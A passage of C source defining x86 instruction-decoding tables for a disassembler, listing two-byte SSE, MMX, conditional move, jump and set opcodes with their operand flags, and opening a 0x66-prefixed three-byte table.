INSTRUCTION_TYPE_MOVC, "cmovbe", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmova", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovs", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovns", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovp", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovnp", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovl", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovge", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovle", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovg", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"movmskps",AM_G|OT_d|P_w, AM_V|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"sqrtps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"rsqrtps",AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"rcpps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"andps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"andnps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"orps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"xorps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"addps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"mulps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"cvtps2pd",AM_V|OT_pd|P_r, AM_W|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"cvtdq2ps",AM_V|OT_ps|P_r, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"subps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"minps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"divps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"maxps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"punpcklbw",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"punpcklwd",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"punpckldq",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"packusdw",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pcmpgtb",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pcmpgtw",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pcmpgtd",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"packsswb",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"punpckhbw",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"punpckhbd",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"punpckhdq",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"packssdw",AM_P|OT_q|P_w, AM_Q|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX|TYPE_3, "movd", AM_P|OT_d|P_w, AM_E|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"movq", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pshufw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, AM_I|OT_b, 1 }, // groups 12-14 { INSTRUCTION_TYPE_MMX, "g12", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX, "g13", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX, "g14", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pcmpeqb",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pcmpeqw",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pcmpeqd",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX, "emms", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"movd", AM_E|OT_d|P_w, AM_P|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"movq", AM_Q|OT_q|P_w, AM_P|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_JMPC, "jo", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jno", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jc", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jnc", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jz", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jnz", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jna", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "ja", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "js", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jns", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jp", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jpo", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jl", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jnl", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jng", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jg", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SETC, "seto", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setno", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setb", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setnb", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setz", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setnz", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setbe", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setnbe", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "sets", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setns", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setp", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setnp", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setl", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setnl", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setle", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SETC, "setnle", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_FS|F_r|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_FS|F_r|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "cpuid", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BT, "bt", AM_E|OT_v|P_r, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "shld", AM_E|OT_v|P_w, AM_G|OT_v|P_r, AM_I|OT_b|P_r,1 }, { INSTRUCTION_TYPE_OTHER, "shld", AM_E|OT_v|P_w, AM_G|OT_v|P_r, AM_REG|REG_ECX|OT_b|P_r,1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_GS|F_r|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_GS|F_r|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "rsm", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BTS, "bts", AM_E|OT_v|P_r, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "shrd", AM_E|OT_v|P_w, AM_G|OT_v|P_r, AM_I|OT_b|P_r,1 }, { INSTRUCTION_TYPE_OTHER, "shrd", AM_E|OT_v|P_w, AM_G|OT_v|P_r, AM_REG|REG_ECX|OT_b|P_r,1 }, // XXX: check addressing mode, Intel manual is a little bit confusing... { INSTRUCTION_TYPE_OTHER, "grp15", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_EIMUL, "imul", AM_G|OT_v|P_r, AM_E|OT_v|P_r, FLAGS_NONE|P_r,1 }, { INSTRUCTION_TYPE_OTHER, "cmpxchg", AM_E|OT_b|P_w, AM_G|OT_b|P_w, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "cmpxchg", AM_E|OT_v|P_w, AM_G|OT_v|P_w, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_LFP, "lss", AM_G|OT_v|P_w, AM_M|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_BTR, "btr", AM_E|OT_v|P_r, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_LFP, "lfs", AM_G|OT_v|P_w, AM_M|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_LFP, "lgs", AM_G|OT_v|P_w, AM_M|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVZX, "movzx", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVZX, "movzx", AM_G|OT_d|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // XXX: group 10 / invalid opcode? { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "g8", AM_E|OT_v, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_BTC, "btc", AM_E|OT_v|P_r, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_BSF, "bsf", AM_G|OT_v|P_r, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_BSR, "bsr", AM_G|OT_v|P_r, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVSX, "movsx", AM_G|OT_v|P_w, AM_E|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVSX, "movsx", AM_G|OT_v|P_w, AM_E|OT_w|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XADD, "xadd", AM_E|OT_b|P_w, AM_G|OT_b|P_w, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XADD, "xadd", AM_E|OT_v|P_w, AM_G|OT_v|P_w, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"cmpps", AM_V|OT_ps|P_r, AM_W|OT_ps|P_r, AM_I|OT_b, 1 }, { INSTRUCTION_TYPE_OTHER, "movnti", AM_M|OT_d|P_w, AM_G|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"pinsrw", AM_P|OT_w|P_w, AM_E|OT_w|P_r, AM_I|OT_b, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"pextrv", AM_G|OT_w|P_w, AM_P|OT_w|P_r, AM_I|OT_b|P_r,1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"shufps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, AM_I|OT_b|P_r,1 }, { INSTRUCTION_TYPE_OTHER, "g9", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EAX|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_ECX|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EDX|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EBX|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_ESP|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EBP|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_ESI|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EDI|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psrlw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psrld", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psrlq", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"paddq", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pmullw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pmovmskb",AM_G|OT_q|P_w, AM_P|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psubusb",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psubusw",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pminub", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pand", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"paddusb",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"paddusw",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pmaxsw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pandn", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pavgb", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psraw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psrad", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pavgw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pmulhuw",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pmulhw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"movntq", AM_M|OT_q|P_w, AM_V|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psubsb", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psubsw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pminsw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"por", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"paddsb", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"paddsw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pmaxsw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pxor", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psllw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pslld", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psllq", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pmuludq",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"pmaddwd",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psadbw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, // XXX: check operand types { INSTRUCTION_TYPE_MMX|TYPE_3,"maskmovq",AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psubb", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psubw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psubd", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"psubq", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"paddb", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"paddw", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MMX|TYPE_3,"paddd", AM_P|OT_q|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // 3-byte instructions, prefix 0x66 // Yeah, I know, it's waste to use a full 256-instruction table but now // I'm prepared for future Intel extensions ;-) INST inst_table3_66[256] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "movupd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movupd", AM_W|OT_pd|P_w, AM_V|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movlpd", AM_V|OT_q|P_w, AM_M|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movlpd", AM_M|OT_q|P_w, AM_V|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "unpcklpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "unpcklpd", AM_V|OT_pd|P_w, AM_W|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movhpd", AM_V|OT_q|P_w, AM_M|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movhpd", AM_M|OT_q|P_w, AM_V|OT_pd|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { 